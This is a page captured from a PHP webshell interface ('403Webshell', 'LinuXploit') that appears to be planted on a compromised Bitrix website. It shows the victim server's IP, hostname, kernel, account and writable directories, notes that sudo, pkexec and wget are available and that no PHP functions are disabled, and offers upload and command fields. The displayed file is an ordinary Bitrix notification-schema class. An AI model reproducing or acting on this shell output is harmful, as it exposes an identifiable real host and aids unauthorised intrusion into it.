403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/classes/general/notify_schema.php
<?php

use Bitrix\Main\Localization\Loc;

IncludeModuleLangFile(__FILE__);

class CSocNetNotifySchema
{
	public function __construct()
	{
	}

	public static function OnGetNotifySchema()
	{
		$arResult = [
			"socialnetwork" => [
				"invite_group" => [
					"NAME" => Loc::getMessage("SONET_NS_INVITE_GROUP_INFO_MSGVER_1"),
					"DISABLED" => [IM_NOTIFY_FEATURE_SITE]
				],
				"invite_group_btn" => [
					"NAME" => Loc::getMessage("SONET_NS_INVITE_GROUP_BTN"),
					"DISABLED" => [
						IM_NOTIFY_FEATURE_SITE,
						IM_NOTIFY_FEATURE_XMPP,
						IM_NOTIFY_FEATURE_MAIL,
						IM_NOTIFY_FEATURE_PUSH
					],
				],
				"inout_group" => [
					"NAME" => Loc::getMessage("SONET_NS_INOUT_GROUP")
				],
				"moderators_group" => [
					"NAME" => Loc::getMessage("SONET_NS_MODERATORS_GROUP")
				],
				"owner_group" => [
					"NAME" => Loc::getMessage("SONET_NS_OWNER_GROUP_MSGVER_1")
				],
				"sonet_group_event" => [
					"NAME" => Loc::getMessage("SONET_NS_SONET_GROUP_EVENT"),
					"PUSH" => 'Y'
				],
			],
		];

		if (CSocNetUser::IsFriendsAllowed())
		{
			$arResult["socialnetwork"]["inout_user"] = [
				"NAME" => GetMessage("SONET_NS_FRIEND")
			];
		}

		return $arResult;
	}
}

class CSocNetPullSchema
{
	public static function OnGetDependentModule()
	{
		return [
			'MODULE_ID' => "socialnetwork",
			'USE' => ["PUBLIC_SECTION"]
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit